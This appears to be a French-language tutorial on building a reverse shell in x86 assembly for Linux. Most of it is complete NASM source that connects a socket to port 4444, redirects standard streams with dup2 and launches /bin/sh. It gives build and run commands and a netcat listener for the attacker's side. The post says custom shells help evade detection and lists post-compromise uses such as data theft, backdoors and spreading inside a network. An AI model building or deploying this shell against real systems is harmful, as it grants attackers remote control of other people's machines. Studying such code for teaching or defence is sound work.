🤔 Qu'est-ce qu'un Reverse Shell ?
Un reverse shell permet à un attaquant de prendre le contrôle d'une machine compromise en établissant une connexion inversée. Au lieu que l'attaquant se connecte directement à la machine cible, c'est la machine compromise qui initie la connexion vers l'attaquant.
🛠️ Pourquoi créer son propre Reverse Shell ?
Créer son propre reverse shell en assembleur permet de :
- Apprendre : Comprendre les fondamentaux des systèmes d'exploitation et des réseaux.
- Personnaliser : Adapter le code à des environnements spécifiques ou à des besoins particuliers.
- Éviter les détections : Les reverse shells personnalisés peuvent passer outre certaines défenses.
😅 Pourquoi c'est compliqué ?
L'assembleur est un langage de bas niveau qui nécessite une bonne compréhension du matériel et des instructions système. Cela inclut :
- Gestion des appels système : Manipuler directement les appels système pour ouvrir des fichiers, créer des sockets, et exécuter des commandes.
- Manipulation des registres : Utiliser des registres pour stocker des données et des adresses.
- Gestion de la mémoire : Gérer explicitement la mémoire, ce qui peut être source d'erreurs.
💡 Le Code : Explication Partie par Partie
Voici un exemple de reverse shell en assembleur :
section .data filename db '/tmp/debug.txt', 0 message1 db 'Socket created', 0xA message2 db 'Connected', 0xA message3 db 'Executing shell', 0xA message4 db 'Execve failed', 0xA message_dup db 'Dup2 called', 0xA message_exec db 'Execve called', 0xA message_connect_failed db 'Connect failed', 0xA ip_address db 127, 0, 0, 1 ; IP 127.0.0.1 ip_port dw 0x5C11 ; Port 4444 en hexadécimal (little-endian) sh db '/bin/sh', 0 shell_prompt db '$ ', 0 msg_exit db 'Exiting...', 0xA section .bss sock resd 1 fd resd 1 section .text global _start _start: ; Ouvrir un fichier pour le débogage xor eax, eax mov al, 5 ; syscall: sys_open lea ebx, [filename] mov ecx, 0x241 ; flags: O_CREAT | O_WRONLY mov edx, 0x180 ; mode: 0600 int 0x80 mov [fd], eax ; save file descriptor ; Écrire message1 mov eax, 4 ; syscall: sys_write mov ebx, [fd] lea ecx, [message1] mov edx, 14 int 0x80 ; Créer un socket xor eax, eax mov al, 0x66 ; syscall: sys_socketcall xor ebx, ebx mov bl, 0x1 ; socket() push byte 0x6 ; IPPROTO_TCP push byte 0x1 ; SOCK_STREAM push byte 0x2 ; AF_INET mov ecx, esp ; pointer to args int 0x80 mov [sock], eax ; save sockfd ; Écrire message de confirmation de création de socket mov eax, 4 ; syscall: sys_write mov ebx, [fd] lea ecx, [message1] mov edx, 14 int 0x80 ; Connecter au serveur mov eax, 0x66 ; syscall: sys_socketcall mov bl, 0x3 ; connect() push dword [ip_address] ; push IP address push word [ip_port] ; push port push word 0x2 ; AF_INET mov ecx, esp push byte 0x10 ; sizeof(struct sockaddr) push ecx ; pointer to sockaddr push dword [sock] ; socket file descriptor mov ecx, esp ; ecx points to args int 0x80 ; Vérifier si la connexion a échoué cmp eax, -1 je connect_failed ; Écrire message2 mov eax, 4 ; syscall: sys_write mov ebx, [fd] lea ecx, [message2] mov edx, 10 int 0x80 ; Rediriger stdin, stdout, stderr vers le socket mov ebx, [sock] xor ecx, ecx dup_loop: mov eax, 0x3f ; syscall: sys_dup2 int 0x80 inc ecx cmp ecx, 3 jne dup_loop ; Écrire message pour dup2 mov eax, 4 ; syscall: sys_write mov ebx, [fd] lea ecx, [message_dup] mov edx, 12 int 0x80 ; Écrire message avant execve mov eax, 4 ; syscall: sys_write mov ebx, [fd] lea ecx, [message_exec] mov edx, 12 int 0x80 ; Exécuter /bin/sh xor eax, eax push eax ; NULL (envp) push eax ; NULL (argv[1]) lea ebx, [sh] push ebx ; argv[0] = "/bin/sh" mov ecx, esp ; argv xor edx, edx ; envp = NULL mov al, 0xb ; syscall: sys_execve int 0x80 ; Vérifier si execve a échoué mov eax, 4 ; syscall: sys_write mov ebx, [fd] lea ecx, [message4] mov edx, 13 int 0x80 jmp exit connect_failed: ; Écrire message de connexion échouée mov eax, 4 ; syscall: sys_write mov ebx, [fd] lea ecx, [message_connect_failed] mov edx, 14 int 0x80 exit: ; Écrire message de sortie mov eax, 4 ; syscall: sys_write mov ebx, [fd] lea ecx, [msg_exit] mov edx, 11 int 0x80 ; Quitter xor eax, eax inc eax xor ebx, ebx int 0x80
🖥️ Exécution du Reverse Shell
Pour exécuter ce code, il faut déjà avoir accès à la machine cible. Voici les étapes pour assembler, lier et exécuter ce reverse shell sur une machine Linux :
- Assembler le code :
nasm -f elf32 reverse_shell.asm -o reverse_shell.o
- Lier l'objet :
ld -m elf_i386 -o reverse_shell reverse_shell.o
- Exécuter le reverse shell :
./reverse_shell
- Sur la machine de l'attaquant : Utilisez
nc -lvp 4444
pour écouter les connexions entrantes.
🔍💻 Ce que l'on peut faire avec un Reverse Shell
Un reverse shell offre à l'attaquant une interface directe pour interagir avec le système cible comme s'il était physiquement présent. Voici quelques-unes des actions qu'un attaquant peut effectuer une fois qu'il a obtenu un reverse shell :
- Exécution de Commandes : 📜 Un reverse shell permet d'exécuter des commandes directement sur la machine cible, comme explorer les répertoires, lire et modifier des fichiers, ou gérer les processus en cours.
- Collecte de Données Sensibles : 📂🔒 Rechercher et extraire des informations sensibles telles que des fichiers de configuration, des données personnelles, etc.
- Escalade de Privilèges : 🔼 Tenter d'exploiter des vulnérabilités locales pour obtenir un accès administrateur.
- Installation de Backdoors : 🔑 Installer des backdoors pour maintenir un accès persistant à la machine.
- Établir des Communications Couvertes : 📡 Utiliser des outils pour créer des tunnels sécurisés ou rediriger le trafic réseau.
- Lancer des Attaques Internes : 🎯 Scanner le réseau interne, propager l'infection à d'autres machines, etc.
🌟 Conclusion
Créer un reverse shell en assembleur est un excellent exercice pour comprendre les interactions bas niveau avec le système d'exploitation. Bien que complexe, cela vous donne un aperçu approfondi du fonctionnement interne des systèmes et des réseaux. Soyez cependant conscient de l'éthique et de la légalité lorsque vous travaillez avec des outils de sécurité comme celui-ci. 🔐✨